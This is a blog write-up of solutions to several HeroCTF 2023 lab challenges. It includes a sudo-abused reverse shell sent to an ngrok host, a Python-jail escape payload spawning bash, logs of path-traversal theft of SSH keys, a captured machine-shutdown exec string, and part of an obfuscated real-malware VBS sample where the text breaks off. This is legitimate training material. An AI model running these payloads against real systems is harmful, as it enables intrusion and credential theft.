HEROCTF
28 min readMay 22, 2023
This is yet another CTF that i played solo! In this blog I will be talking in detail how i went about solving some of the challenges.
SYSTEM
Chm0d
Challenge Description:
Catch-22: a problematic situation for which the only solution is denied by a circumstance inherent in the problem.
Credentials: user:password123
> Deploy on deploy.heroctf.fr
Format : Hero{flag}
Author : AlolThe challenge here is that we have no/limited permissions to read flag.txt file locate in / root directory! We own the file but we cant use chmod command to change file permissions since its usage is limited to us!
user@421d953928678b3684a47a302063dd83:/$ ls -al
total 88
drwxr-xr-x 1 root root 4096 May 13 06:06 .
drwxr-xr-x 1 root root 4096 May 13 06:06 ..
-rwxr-xr-x 1 root root 0 May 13 06:06 .dockerenv
drwxr-xr-x 1 root root 4096 May 12 19:59 bin
drwxr-xr-x 2 root root 4096 Apr 2 11:55 boot
drwxr-xr-x 5 root root 340 May 13 06:06 dev
drwxr-xr-x 1 root root 4096 May 13 06:06 etc
---------- 1 user user 40 May 13 06:22 flag.txt
drwxr-xr-x 1 root root 4096 May 12 19:59 home
drwxr-xr-x 1 root root 4096 May 12 19:59 lib
drwxr-xr-x 2 root root 4096 May 2 00:00 lib64
drwxr-xr-x 2 root root 4096 May 2 00:00 media
drwxr-xr-x 2 root root 4096 May 2 00:00 mnt
drwxr-xr-x 2 root root 4096 May 2 00:00 opt
dr-xr-xr-x 291 root root 0 May 13 06:06 proc
drwx------ 2 root root 4096 May 2 00:00 root
drwxr-xr-x 1 root root 4096 May 13 06:32 run
drwxr-xr-x 1 root root 4096 May 12 19:59 sbin
drwxr-xr-x 2 root root 4096 May 2 00:00 srv
dr-xr-xr-x 13 root root 0 May 12 21:07 sys
drwxrwxrwt 1 root root 4096 May 13 06:38 tmp
drwxr-xr-x 1 root root 4096 May 2 00:00 usr
drwxr-xr-x 1 root root 4096 May 2 00:00 var
user@421d953928678b3684a47a302063dd83:/$ cat flag.txt
Reading file contents : Operation not permitted
user@421d953928678b3684a47a302063dd83:/$ chmod 722 flag.txt
Changing file permissions : Permission denied
user@421d953928678b3684a47a302063dd83:/$ umask
022The way i solved this is by using perl language to change the permissions of the file. I got this trick from playing koth with my friends.
user@421d953928678b3684a47a302063dd83:/$ echo '#!/usr/bin/perl' > /tmp/haha.pl
user@421d953928678b3684a47a302063dd83:/$ echo 'use strict;' >> /tmp/haha.pl
user@421d953928678b3684a47a302063dd83:/$ echo 'use warnings;' >> /tmp/haha.pl
user@421d953928678b3684a47a302063dd83:/$ echo 'my $filename = "/flag.txt";' >> /tmp/haha.pl
user@421d953928678b3684a47a302063dd83:/$ echo 'chmod 0600, $filename or die "Couldn change the permission to $filename";' >> /tmp/haha.pl
user@421d953928678b3684a47a302063dd83:/$ echo 'exit 0;' >> /tmp/haha.pl
user@421d953928678b3684a47a302063dd83:/$ perl /tmp/haha.pl
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
user@421d953928678b3684a47a302063dd83:/$ ls -al
total 88
drwxr-xr-x 1 root root 4096 May 13 06:06 .
drwxr-xr-x 1 root root 4096 May 13 06:06 ..
-rwxr-xr-x 1 root root 0 May 13 06:06 .dockerenv
drwxr-xr-x 1 root root 4096 May 12 19:59 bin
drwxr-xr-x 2 root root 4096 Apr 2 11:55 boot
drwxr-xr-x 5 root root 340 May 13 06:06 dev
drwxr-xr-x 1 root root 4096 May 13 06:06 etc
-rw------- 1 user user 40 May 13 06:22 flag.txt
drwxr-xr-x 1 root root 4096 May 12 19:59 home
drwxr-xr-x 1 root root 4096 May 12 19:59 lib
drwxr-xr-x 2 root root 4096 May 2 00:00 lib64
drwxr-xr-x 2 root root 4096 May 2 00:00 media
drwxr-xr-x 2 root root 4096 May 2 00:00 mnt
drwxr-xr-x 2 root root 4096 May 2 00:00 opt
dr-xr-xr-x 291 root root 0 May 13 06:06 proc
drwx------ 2 root root 4096 May 2 00:00 root
drwxr-xr-x 1 root root 4096 May 13 06:32 run
drwxr-xr-x 1 root root 4096 May 12 19:59 sbin
drwxr-xr-x 2 root root 4096 May 2 00:00 srv
dr-xr-xr-x 13 root root 0 May 12 21:07 sys
drwxrwxrwt 1 root root 4096 May 13 06:38 tmp
drwxr-xr-x 1 root root 4096 May 2 00:00 usr
drwxr-xr-x 1 root root 4096 May 2 00:00 var
user@421d953928678b3684a47a302063dd83:/$ cat flag.txt
Hero{chmod_1337_would_have_been_easier}
user@421d953928678b3684a47a302063dd83:/$ Connection to dyn-05.heroctf.fr closed by remote host.
Connection to dyn-05.heroctf.fr closed.IMF#0: Your mission, should you choose to accept it
Challenge description:
The Infamous Mother Fluckers have been hired to take down a guy named Dave.
I think his sister's husband's cousin's wife's brother's son had an affaire
with our client's wife, and for some reason he want's to take it out on him.
But who are we to judge right ? We're getting paid, that's enough for me.
I got you a job in the same development start-up as Dave. In fact, you are
his team mate. I asked around in some underground circles, and word is on the
streets that our guy is selling customer information. If you can get proof of
that and send it to his boss, he'll get fired and we'll get paid. I'm counting
on you.
And keep you eyes opened, you might find some other interseting stuff on the
company's network.
For this mission, you are bob. Your ssh credentials are bob:password.
Enter this password to accept the mission : Hero{I_4cc3pt_th3_m1ss10n}
This message will self-destruct in 5 seconds.
> Deploy on deploy.heroctf.fr
Format : Hero{flag}
Author : Log_sTo be honest before I realized that I was having the flag in the description i trolled a lot!
IMF#1: Bug Hunting
Challenge description
Tracking bugs can be tidious, if you're not equiped with the right tools of
course...
> Deploy on deploy.heroctf.fr
Format : Hero{flag}
Author : Log_sThis was fairly easy , once we login via ssh we get a message.txt that has this contents in it!
➜ rev ssh bob@dyn-02.heroctf.fr -p 14558
bob@dyn-02.heroctf.fr's password:
bob@dev:~$ ls -a
.bash_logout .cache/ welcome.txt
.bashrc .profile
bob@dev:~$ cat welcome.txt
Hi Bob!
Welcome to our firm. I'm Dave, the tech lead here. We are going to be working together on our app.
Unfortunately, I will be on leave when you arrive. So take the first few days to get familiar with our infrastructure, and tools.
We are using YouTrack as our main issue tracker. The app runs on this machine (port 8080). We are both going to use the "dev" account at first, but I will create a separate account for you later. There is also an admin account, but that's for our boss. The credentials are: "dev:aff6d5527753386eaf09".
The development server with the codebase is offline for a few days due to a hardware failure on our hosting provider's side, but don't worry about that for now.
We also have a backup server, that is supposed to backup the main app's code (but it doesn't at the time) and also the YouTrack configuration and data.
Only I have an account to access it, but you won't need it. If you really have to see if everything is running fine, I made a little utility that run's on a web server.
The command to check the logs is:
curl backup
The first backups might be messed up a bit, a lot bigger than the rest, they occured while I was setting up YouTrack with it's administration account.
Hope you find everything to you liking, and welcome again!
Dave
bob@dev:~$we get some credentials to an internal application running on port 8080. We can do ssh port forwarding so that we access this application on our browser as follows.
➜ ~ ssh -L 8080:127.0.0.1:8080 bob@dyn-02.heroctf.fr -p 14558We can visit port 8080 on host localhost on the browser to access this site. using the credentials from welcome.txt file we can login and we get a dashboard with a listing of several bugs.
Visiting those bugs, in one of them we get the flag!
SUDOkLu
Challenge description
This is a warmup to get you going. Your task is to read
/home/privilegeduser/flag.txt. For our new commers, the title might steer
you in the right direction ;). Good luck!
Credentials: user:password123
> Deploy on deploy.heroctf.fr
Format : Hero{flag}
Author : Log_sWe can launch a new instance and login via ssh. We can check what our user can run as root using the command “sudo -l” and we find out he can run the socket binary.
➜ ~ ssh user@dyn-01.heroctf.fr -p 11765
user@dyn-01.heroctf.fr's password:
user@sudoklu:~$ ls
user@sudoklu:~$ ls -al
total 28
drwxr-x--- 1 user user 4096 May 14 10:11 .
drwxr-xr-x 1 root root 4096 May 12 10:36 ..
lrwxrwxrwx 1 root root 9 May 12 10:36 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 May 12 10:36 .bash_logout
-rw-r--r-- 1 user user 3771 May 12 10:36 .bashrc
drwx------ 2 user user 4096 May 14 10:11 .cache
-rw-r--r-- 1 user user 807 May 12 10:36 .profile
user@sudoklu:~$ sudo -l
Matching Defaults entries for user on sudoklu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on sudoklu:
(privilegeduser) NOPASSWD: /usr/bin/socket
user@sudoklu:~$Consulting gtfobins we see that we can run the binary to get a reverse shell back , since we don’t have a public IP address i will be using ngrok service/tool to surface here!
On the first terminal we launch ngrok.
➜ ~ ngrok start --all (Ctrl+C to quit)
Session Status online
Account jkiguru (Plan: Free)
Update update available (version 3.3.0, Ctrl-U to update)
Version 3.0.3
Region India (in)
Latency 91.956068ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.in.ngrok.io:11354 -> localhost:443
Forwarding tcp://0.tcp.in.ngrok.io:12216 -> localhost:1389
Forwarding tcp://0.tcp.in.ngrok.io:13280 -> localhost:8888
Connections ttl opn rt1 rt5 p50 p90
2 1 0.01 0.00 8.34 16.69On the ssh terminal session we run this commands.
user@sudoklu:~$ RHOST=0.tcp.in.ngrok.io
user@sudoklu:~$ RPORT=11354
user@sudoklu:~$ sudo -u privilegeduser /usr/bin/socket -qvp '/bin/sh -i' $RHOST $RPORT
inet: connected to 0.tcp.in.ngrok.io port 11354On our listener we get back a connection and we are able to read the flag
➜ ~ nc -nlvp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33036
$ id
uid=1001(privilegeduser) gid=1001(privilegeduser) groups=1001(privilegeduser)
$ cd ../
$ ls
privilegeduser
user
$ cd privilegeduser
l$ s
flag.txt
$ cat flag.txt
Hero{ch3ck_f0r_m1sc0nf1gur4t1on5}Prog
Math Trap
Challenge description:
In this challenge, you have to make a few simple calculations for me,
but pretty quickely. Maybe the pwntools python library will help you ?
PS: control your inputs.
Host : nc static-01.heroctf.fr 8000
Format : Hero{flag}
Author : Log_sOnce you connect using netcat command , the questions look like this:
➜ math nc static-01.heroctf.fr 8000
Can you calculate these for me ?
73 // 62
=12
Too slowYou are supposed to calculate the answers to the questions and send them back within a short period of time. We can come up with a simple python script that does just that! Also one of the problems i encountered is, once you get the flag the next question shuts down the machine. To evade this i had to explicitly check if the question contained numbers. If not it would just print stuff out and leave it at that.
#!/usr/bin/env python3
# Author : trustie_rity
import numbers
from pwn import *
import sys
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
p = remote("static-01.heroctf.fr", 8000)
question = p.recv().split(b"\n")
log.info(f"Question 1 : { question }")
answer = eval(question[2].decode())
log.info(f"Answer 1 : { answer }")
p.sendline(str(answer).encode())
while True:
try:
question = p.recv().split(b"\n")
log.info(f"Question : { question }")
question = question[1].decode()
log.info(f"Question : { question }")
parts = question.split(" ")
log.info(f"Question : { parts }")
if isinstance(int(parts[0]), numbers.Number) and isinstance(int(parts[2]) , numbers.Number):
answer = eval(question)
log.info(f"Answer : { answer }")
p.sendline(str(answer).encode())
else:
log.info(f"Question : { question }")
sys.exit(0)
except:
log.info(f"Question : { question }")
sys.exit(0)output looks like this, i have of course cleaned it up a little bit!
➜ math ./pwn_script.py
[+] Opening connection to static-01.heroctf.fr on port 8000: Done
[*] Question 1 : [b'Can you calculate these for me ?', b'', b'39 * 9', b'=']
[*] Answer 1 : 351
[*] Question : [b'', b'64 // 35', b'=']
[*] Question : 64 // 35
[*] Question : ['64', '//', '35']
[*] Answer : 1
[*] Question : [b'', b'9 * 38', b'=']
[*] Question : 9 * 38
[*] Question : ['9', '*', '38']
[*] Answer : 342
[*] Question : [b'', b'100 + 57', b'=']
[*] Question : 100 + 57
[*] Question : ['100', '+', '57']
[*] Answer : 157
[*] Question : [b'', b'23 // 6', b'=']
[*] Question : 23 // 6
[*] Question : ['23', '//', '6']
[*] Answer : 3
[*] Question : [b'', b'50 + 64', b'=']
[*] Question : 50 + 64
[*] Question : ['50', '+', '64']
[*] Answer : 114
[*] Question : [b'', b'66 // 14', b'=']
[*] Question : 66 // 14
[*] Question : ['66', '//', '14']
[*] Answer : 4
[*] Question : [b'', b'77 - 91', b'=']
[*] Question : [b'', b'exec("import platform,os;os.system(\'shutdown -h now\')if platform.system()in\'Linux\'else os.system(\'shutdown -s\')")', b'=', b'That was a trap, nice job !', b'Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}', b'']
[*] Question : exec("import platform,os;os.system('shutdown -h now')if platform.system()in'Linux'else os.system('shutdown -s')")
[*] Question : ['exec("import', "platform,os;os.system('shutdown", '-h', "now')if", "platform.system()in'Linux'else", "os.system('shutdown", '-s\')")']
[*] Question : exec("import platform,os;os.system('shutdown -h now')if platform.system()in'Linux'else os.system('shutdown -s')")
[*] Closed connection to static-01.heroctf.fr port 8000So the last command there were the ones responsible for shutting down my machine.
Forensics
dev.corp 1/4
Challenge description
The famous company dev.corp was hack last week.. They don't understand because
they have followed the security standards to avoid this kind of situation.
You are mandated to help them understand the attack.
For this first step, you're given the logs of the webserver of the company.
Could you find :
- The CVE used by the attacker ?
- What is the absolute path of the most sensitive file recovered by the
attacker ?
Format : Hero{CVE-XXXX-XXXX:/etc/passwd}
Author : WortyWe are provided with a log file that contain logs at the time of the attack. Since am lazy what i did was use grep and search for common files someone would want to download from a linux machine *_- .
➜ dev cat access.log| sed s/internalproxy.devcorp.local//g | grep "id_rsa"
- - [02/May/2023:13:12:29 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../etc/passwd HTTP/1.1" 200 2240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
- - [02/May/2023:13:12:46 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa HTTP/1.1" 500 354 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
- - [02/May/2023:13:13:03 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/config HTTP/1.1" 200 531 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
- - [02/May/2023:13:13:17 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa_backup HTTP/1.1" 200 2963 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"From the url’s we can tell that he was using the duplicator plugin to achieve directory traversal. So if did a google search of the same we could possibly get the specific cve number that was being used.
So the flag is : Hero{CVE-2020–11738:/home/webuser/.ssh/id_rsa_backup}
I guess its also worth mentioning that i used nuclei to try and identify the cve, remember we can get the host name from the log file!
➜ dev nuclei -u https://devcorp.com/
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v2.8.9
projectdiscovery.io
[INF] Templates clustered: 1054 (Reduced 974 Requests)
[tls-version] [ssl] [info] devcorp.com [tls12]
[tls-version] [ssl] [info] devcorp.com [tls12]
[tls-version] [ssl] [info] devcorp.com [tls13]
[CVE-2021-24917] [http] [high] https://devcorp.com/wp-admin/options.php [https://devcorp.com/login/?redirect_to=%2Fwp-admin%2Fsomething&reauth=1]
[deprecated-tls] [ssl] [info] devcorp.com [tls12]
[deprecated-tls] [ssl] [info] devcorp.com [tls12]
[wordpress-really-simple-ssl:outdated_version] [http] [info] https://devcorp.com/wp-content/plugins/really-simple-ssl/readme.txt [5.3.1] [last_version="6.2.4"]But then this CVE was not correct since the attacker did not use it!
Steganography
PDF-Mess
Challenge Description:
This file seems to be a simple copy and paste from wikipedia. It would be
necessary to dig a little deeper...
Good luck!
Format : Hero{}
Author : ThibzWe are given a pdf file to download!
➜ pdf-mess file strange.pdf
strange.pdf: PDF document, version 1.7, 2 pagesIts a pdf file .It also has an image in it.
We can use foremost tool to extract it!
➜ pdf-mess ls
output strange.pdf
➜ pdf-mess cd output
➜ output ls
audit.txt jpg pdf
➜ output cat audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Mon May 22 13:39:42 2023
Invocation: foremost -i strange.pdf
Output directory: /home/hacker/heroctf/stegnagraphy/pdf-mess/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: strange.pdf
Start: Mon May 22 13:39:42 2023
Length: 225 KB (231077 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00000073.jpg 16 KB 37604
1: 00000000.pdf 225 KB 0
Finish: Mon May 22 13:39:42 2023
2 FILES EXTRACTED
jpg:= 1
pdf:= 1
------------------------------------------------------------------
Foremost finished at Mon May 22 13:39:42 2023
➜ output cd jpg/
➜ jpg ls
00000073.jpg
➜ jpg open 00000073.jpg
➜ jpg file 00000073.jpg
00000073.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], baseline, precision 8, 330x277, components 3
➜ jpg strings 00000073.jpg|grep -E "{.*}"
➜ jpg exiftool 00000073.jpg
ExifTool Version Number : 12.55
File Name : 00000073.jpg
Directory : .
File Size : 17 kB
File Modification Date/Time : 2023:05:22 13:39:42+03:00
File Access Date/Time : 2023:05:22 13:40:06+03:00
File Inode Change Date/Time : 2023:05:22 13:39:42+03:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Exif Byte Order : Big-endian (Motorola, MM)
Image Width : 330
Image Height : 277
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 330x277
Megapixels : 0.091This looked like a rabbit hole since the image didn’t have much information in it. We can try using another pdf tool called pdf-parser. This tool can be used to extract embedded files in pdfs.
➜ pdf-mess pdf-parser --stats strange.pdf
Comment: 4
XREF: 2
Trailer: 2
StartXref: 2
Indirect object: 44
Indirect objects with a stream: 4, 28, 30, 31, 40, 101, 102, 106, 107, 110, 109
24: 4, 6, 8, 14, 15, 16, 19, 20, 21, 22, 23, 24, 25, 26, 27, 30, 32, 101, 102, 103, 104, 105, 106, 108
/Catalog 1: 1
/EmbeddedFile 1: 110
/ExtGState 2: 10, 11
/Filespec 1: 111
/Font 4: 5, 7, 12, 17
/FontDescriptor 3: 9, 13, 18
/Metadata 1: 107
/ObjStm 1: 40
/Page 2: 3, 29
/Pages 1: 2
/XObject 2: 28, 31
/XRef 1: 109
Unreferenced indirect objects: 40 0 R, 109 0 R
Unreferenced indirect objects without /ObjStm objects: 109 0 R
Search keywords:
/EmbeddedFile 1: 110
/URI 12: 14, 15, 16, 19, 20, 21, 22, 23, 24, 25, 26, 27Exactly we can see a hidden embedded file “/EmbeddedFile 1: 110” . To extract it we can use the following commands:
➜ pdf-mess pdf-parser --object 110 --raw --filter strange.pdf > embeddedFile
➜ pdf-mess ls
embeddedFile strange.pdf
➜ pdf-mess file embeddedFile
embeddedFile: ASCII text
➜ pdf-mess cat embeddedFile
obj 110 0
Type: /EmbeddedFile
Referencing:
Contains stream
<<
/Length 179
/Type /EmbeddedFile
/Filter /FlateDecode
/Params
<<
/Size 199
/Checksum <083542c62e17ca3367bd590c1ab38578>
>>
/Subtype /application/js
>>
b"const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';"we get some javascript code that is doing some encryption!
The cleaned up js code looks like this:
const CryptoJS=require('crypto-js');
const key='3d3067e197cf4d0a';
const ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString']();
const cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';well well! We have the ending cipher text and encryption key key: 3d3067e197cf4d0a. We also know they are using the crypto-js npm library to import/include AES (Advanced Encryption Standard ) algorithm in order to use it in encrypting the message message(we dont know about it). Therefore ,we can try to come up with javascript code that would reverse this!
const CryptoJS=require('crypto-js');
const key='3d3067e197cf4d0a';
//const ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString']();
const cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';
const message = CryptoJS['AES']['decrypt'](cipher, key)['toString']();
console.log(message);Output is :
➜ pdf-mess npm install crypto-js
added 1 package in 5s
➜ pdf-mess nodejs exp.js
4865726f7b4d344c3143313055355f433044335f314e5f5044467d
➜ pdf-mess nodejs exp.js | xxd -r -p
Hero{M4L1C10U5_C0D3_1N_PDF}% Misc
Pyjail
Challenge Description:
Welcome in jail. If it's not your first time, you should be out quickly.
If it is your first rodeo, people have escape before you... I'm sure you'll be
fine.
> Deploy on deploy.heroctf.fr
Format : Hero{flag}
Author : Log_sThis was not so easy, the catch here was that one was supposed to use print() function to print the output, otherwise you would fail to see it and assume that your command failed!
The payload that i used here was this one from hacktricks website:
print("".__class__.__mro__[1].__subclasses__()[109].__init__.__globals__['SYS'.lower()].modules['OS'.lower()].__dict__['SYSTEM'.lower()]('/bin/bash'))Reverse
Give My Money Back
Challenge Description:
Joel sat at his desk, staring at the computer screen in front of her. She had
just received a strange email from an unknown sender. Joel was intrigued. She
hesitated for a moment, wondering if she should open the email or not. But her
curiosity got the best of her, and she clicked on the message. Your goal is to
help Joel find out who stole her money!
Warning : The attached archive contains real malware, do not run it on your
machine! Archive password: infected
The flag corresponds to the email used for the exfiltration and the name of
the last exfiltrated file, e.g. Hero{attacker@evil.com|passwords.txt}.
Format : Hero{email|filename}
Author : xanhacksWe are given a zip file to download. Once we unzip we get some files .One particular interesting file is “image.png.vbs”
➜ rev cat image.png.vbs
dIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
JJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*621-504*-3881+3990*304010/3010*-3548+3580*-4817+4927*-8389+8490*526440/4387*-3682+3798*-4323+4333*507525/7575*467310/4210*62040/564*609500/5300*501816/4326*114816/3588*-6176+6244*-5154+5255*941275/8185*715616/6688*-137+253*393-282*6302-6190*88928/2779*9266-9205*6871-6839*-6394+6446*-6545+6555*146261/2183*457209/4119*2924-2814*-5708+5823*3465-3349*-4285+4317*4755-4678*6414-6293*-8263+8331*2696-2585*-8556+8655*311688/2664*3415-3306*2984-2883*6213-6103*-855+971*1957-1842*-790+822*5541-5480*6376-6344*231476/4724*-7629+7683*12780/1278*7764-7681*5210-5109*-1797+1913*-2288+2320*255391/3077*1561-1529*555893/9113*141632/4426*-9588+9655*-3170+3284*-583+684*-3665+3762*129688/1118*-2354+2455*-4990+5069*6065-5967*-6483+6589*6912-6811*-9245+9344*-6022+6138*460-420*-5910+5944*-3785+3872*2678-2563*-1615+1714*911202/7993*3785-3680*651168/5814*-5690+5806*1186-1140*746004/8988*793416/7629*-5702+5803*-6182+6290*-7059+7167*223584/6576*6017-5976*195264/6102*-4986+4996*-2732+2742*726914/8758*5446-5345*305196/2631*298624/9332*-6089+6159*5128-5045*-2562+2641*-5646+5678*-5019+5080*-3803+3835*424445/6335*1049712/9208*-3368+3469*-9647+9744*851092/7337*2454-2353*-5506+5585*9421-9323*-672+778*711141/7041*-7305+7404*6810-6694*3937-3897*2151-2117*1114465/9691*-8789+8888*-7274+7388*2714-2609*-9757+9869*5102-4986*-9448+9553*-6397+6507*859329/8343*911-865*986442/9671*2876-2771*-9227+9335*2248-2147*306360/2664*238128/1968*379960/3304*3176-3060*819312/8112*452-343*323565/2915*-6257+6355*-4300+4406*758611/7511*-7874+7973*-4646+4762*6891-6857*1325-1284*6713-6703*1756-1669*110971/1337*5718-5619*1121874/9841*3931-3826*962416/8593*6614-6498*1795-1749*424047/5109*9638-9530*405818/4018*5880-5779*934528/8344*7120-7080*359072/7328*1350-1302*403920/8415*6805-6757*9719-9687*868-826*3977-3945*5914-5863*236304/4923*-6472+6513*3070/307*-7576+7586*6430/643*57720/5772*6892-6882*69690/6969*6483-6473*6742-6732*-643+758*70064/604*-1481+1595*7020-6937*3670-3593*49644/591*-6791+6871*-5818+5913*3673-3590*994345/9845*-7143+7257*424918/3601*-1979+2080*1111614/9751*4591-4559*4885-4824*6099-6067*-6441+6475*-5314+5429*900558/8262*268-152*9310-9198*9005-8959*-3099+3208*3989-3892*655620/6244*7769-7661*6885-6839*11628/102*-147+264*-4121+4155*6818-6808*971405/8447*8111-7995*-8711+8825*-9068+9152*691752/6232*311328/9729*568276/9316*6660-6628*223618/6577*-4916+5014*928898/8522*-3473+3592*2934-2821*-3346+3451*-968+1065*204792/3657*3970-3918*8701-8637*-8408+8517*402162/4146*436380/4156*157788/1461*6261-6215*10061-9947*9381-9264*36958/1087*19970/1997*903440/7856*-7934+8050*5656-5542*384860/5498*563844/4946*938616/8456*194129/1781*-8272+8304*390156/6396*8672-8640*335648/9872*-8628+8726*-2442+2551*1176672/9888*-4759+4872*-4333+4438*5032-4935*-8401+8457*-5187+5239*6978-6914*906989/8321*413-316*-7264+7369*-6592+6700*-5790+5836*309054/2711*6395-6278*-1121+1155*53730/5373*722660/6284*-5503+5619*-4737+4851*6734-6651*1387-1270*-8394+8492*472442/4457*-5483+5584*2767-2668*-973+1089*271488/8484*-1397+1458*26592/831*6003-5969*5312-5247*-2538+2611*-6352+6434*538628/7921*315208/3844*-718+797*-3187+3267*-9634+9668*2845-2835*3494-3379*-7435+7551*811566/7119*8686-8620*751581/6771*9268-9168*9509-9388*-5271+5303*-2677+2738*7420-7388*-2329+2363*-1987+2063*752396/9524*-9668+9739*-1277+1311*9000-8990*9378-9368*-5693+5703*16700/1670*-2918+2928*-414+424*-8714+8724*5220-5210*-1123+1133*600422/7234*-7529+7630*71340/615*8354-8322*508725/4845*-7502+7579*9353-9238*955737/9279*-4925+4986*-6297+6364*1099416/9644*9492-9391*-3876+3973*7550-7434*-4032+4133*-5539+5618*-1405+1503*-9544+9650*-7393+7494*-7407+7506*3984-3868*4129-4089*-2790+2824*-5766+5833*285736/4202*7845-7766*20240/440*8961-8884*355924/3524*-6731+6846*1072030/9322*921306/9498*158517/1539*73124/724*5532-5498*6917-6876*59840/1870*-6877+6887*91480/9148*291994/3518*-753+854*5625-5509*-6650+6682*2093-1988*7947-7880*403263/3633*3205-3095*837114/8207*301889/4949*-477+544*7946-7832*17877/177*64990/670*4243-4127*550551/5451*9624-9545*566146/5777*1024066/9661*618-517*-8931+9030*4231-4115*329200/8230*-2177+2211*407695/6085*362-294*2588-2509*-7680+7726*2967-2900*7603-7492*7133-7023*4436-4334*-1331+1436*7875-7772*4559-4442*3784-3670*137740/1420*4005-3889*453495/4319*-9088+9199*651090/5919*9334-9300*105944/2584*-1823+1833*-3622+3632*752312/9064*511767/5067*561440/4840*6367-6335*3718-3599*6962-6847*-1600+1704*1549-1466*763672/7343*7165-7064*6892-6784*-6315+6423*-1916+1948*174033/2853*23424/732*-3921+3988*8389-8275*62216/616*410116/4228*2034-1918*639734/6334*3601-3522*6881-6783*-1790+1896*962025/9525*-8792+8891*704352/6072*359640/8991*1347-1315*325312/9568*825-738*-1948+2031*910008/9192*765054/6711*7244-7139*440-328*664796/5731*8067-8021*-613+696*925600/8900*6037-5936*6702-6594*987876/9147*17442/513*3213-3181*-4637+4678*-5771+5781*8459-8344*418992/3612*-6863+6977*6271-6186*-8222+8337*-1571+1672*3062-2948*8994-8916*-8865+8962*-4770+4879*856480/8480*3877-3845*-795+856*9169-9137*-3712+3831*809025/7035*5835-5731*8642-8559*109616/1054*805273/7973*16524/153*1953-1845*-3747+3793*-8123+8192*1965-1845*1340-1228*3727-3630*5726-5616*-1349+1449*-7550+7619*-643+753*300664/2548*-8796+8901*447336/3924*883893/7963*-3198+3308*394144/3616*9282-9181*629-519*5034-4918*210239/2533*1027528/8858*-3952+4066*2375-2270*-8254+8364*-7488+7591*9736-9621*3497-3457*-7346+7378*-8531+8565*-4895+4932*85765/1009*6903-6820*-4933+5002*-6881+6963*1428-1350*226850/3490*734657/9541*1617-1548*4797-4760*6397-6363*18784/587*135915/3315*-2779+2789*685248/8256*581760/5760*-1354+1470*89056/2783*-4712+4782*-2331+2439*724900/7249*1106-991*-2146+2207*2687-2582*345050/5150*8826-8715*-1987+2097*725628/7114*147108/3198*1649-1579*-547+652*6631-6530*274320/2540*970400/9704*-1441+1556*64672/2021*6073-6063*5263-5193*4986-4878*4939-4839*-3760+3875*-7640+7686*1879-1806*3768-3652*55651/551*670023/6147*-6805+6845*289986/8529*-1598+1702*1603-1487*10052-9936*-3111+3223*2654-2596*388972/8276*402508/8564*-8475+8590*-3847+3946*1678-1574*125038/1238*733679/6731*1835-1738*6087-5972*6625-6579*8258-8149*2870-2765*181170/1830*5560-5446*7017-6906*4753-4638*350649/3159*961962/9431*563760/4860*-4799+4845*-5393+5492*261405/2355*6200-6091*-422+469*7350-7251*39500/395*1085247/9777*7562-7515*2656-2557*-8372+8483*-259+369*-8470+8572*390810/3722*-5914+6017*8578-8461*565-451*-3431+3528*-5918+6034*9020-8915*-2797+2908*430980/3918*